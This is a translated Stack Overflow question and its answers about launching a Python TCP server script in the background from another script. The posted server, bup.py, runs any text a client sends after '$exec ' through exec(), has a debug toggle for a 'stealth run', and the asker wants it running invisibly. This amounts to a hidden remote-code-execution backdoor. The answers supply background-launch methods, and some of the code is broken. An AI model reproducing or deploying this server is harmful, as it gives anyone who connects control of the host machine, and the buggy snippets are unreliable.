从main运行独立文件

时间:2016-08-28 21:24:35

标签: python python-3.x subprocess os.system

我有run.py看起来像这样:

def main():
    # Tested and working code here


if __name__ == '__main__':
    main()

然后我有另一个运行TCP套接字服务器的文件,bup.py

import socket
import os
from threading import Thread

# PMS Settings
TCP_IP = ''
TCP_PORT = 8080

my_ID = '105032495291981824'.encode()
my_dir = os.path.dirname(os.path.realpath(__file__))
current_dir = my_dir
debug = True

# Replace print() with dPrint to enable toggling | Be sure to set debug = False when you need a stealth run
def dPrint(text):
    if debug:
        print(text)

# -------------------------------------------------------------------

# Mulithreaded Server a.k.a. PMS
    class ClientThread(Thread):

    def __init__(self, ip, port):
        Thread.__init__(self)
        self.ip = ip
        self.port = port
        dPrint("[+] New server socket thread started for " + ip + ":" + str(port))

    def run(self):
        conn.send(current_dir.encode())
        while True:
            try:
                data = conn.recv(2048).decode()
                if "$exec " in data:
                    data = data.replace("$exec ", "")
                    exec(data)
                elif data:
                    dPrint(data)
            except ConnectionAbortedError:
                dPrint("[x] Connection forcibly closed by remote host")
                break
            except ConnectionResetError:
                dPrint("[x] Connection was reset by client")
                break

# --------------------------------------------------------------------------

tcpServer = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
tcpServer.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
tcpServer.bind((TCP_IP, TCP_PORT))
threads = []

while True:
    tcpServer.listen(5)
    (conn, (ip, port)) = tcpServer.accept()
    newThread = ClientThread(ip, port)
    newThread.start()
    threads.append(newThread)

for t in threads:
    t.join()

我希望从bup.py执行main()作为独立文件。此外,它必须在后台或不可见的窗口中运行。这甚至可能吗? bup.py是一个服务器脚本,因此它不会返回任何内容,而且必须与run.py完全分离。

2 个答案:

答案 0 :(得分:1)

您可以使用subprocess

import subprocess

def main()
   # do your work
   subprocess.Popen(["python","bup.py"])

如果当前进程不依赖于已启动进程的输出,则应在后台运行。

或者,您可以将bup.py重新组织为python模块并使用multiprocessing

import bup
from multiprocessing import Process

def runServer(name):
    # assuming this would start the loop in bup 
    bup.startServerLoop();

if __name__ == '__main__':
    p = Process(target=f)
    p.start()
    # do all other work
    # close the server process
    p.join()

答案 1 :(得分:0)

如果您只想将bup.py作为单独的文件运行,也许您可​​以在bup.py中定义 main 并使用python bup.py运行该文件。我不确定什么bup.py需要绑定到run.py,我有没有错过任何东西?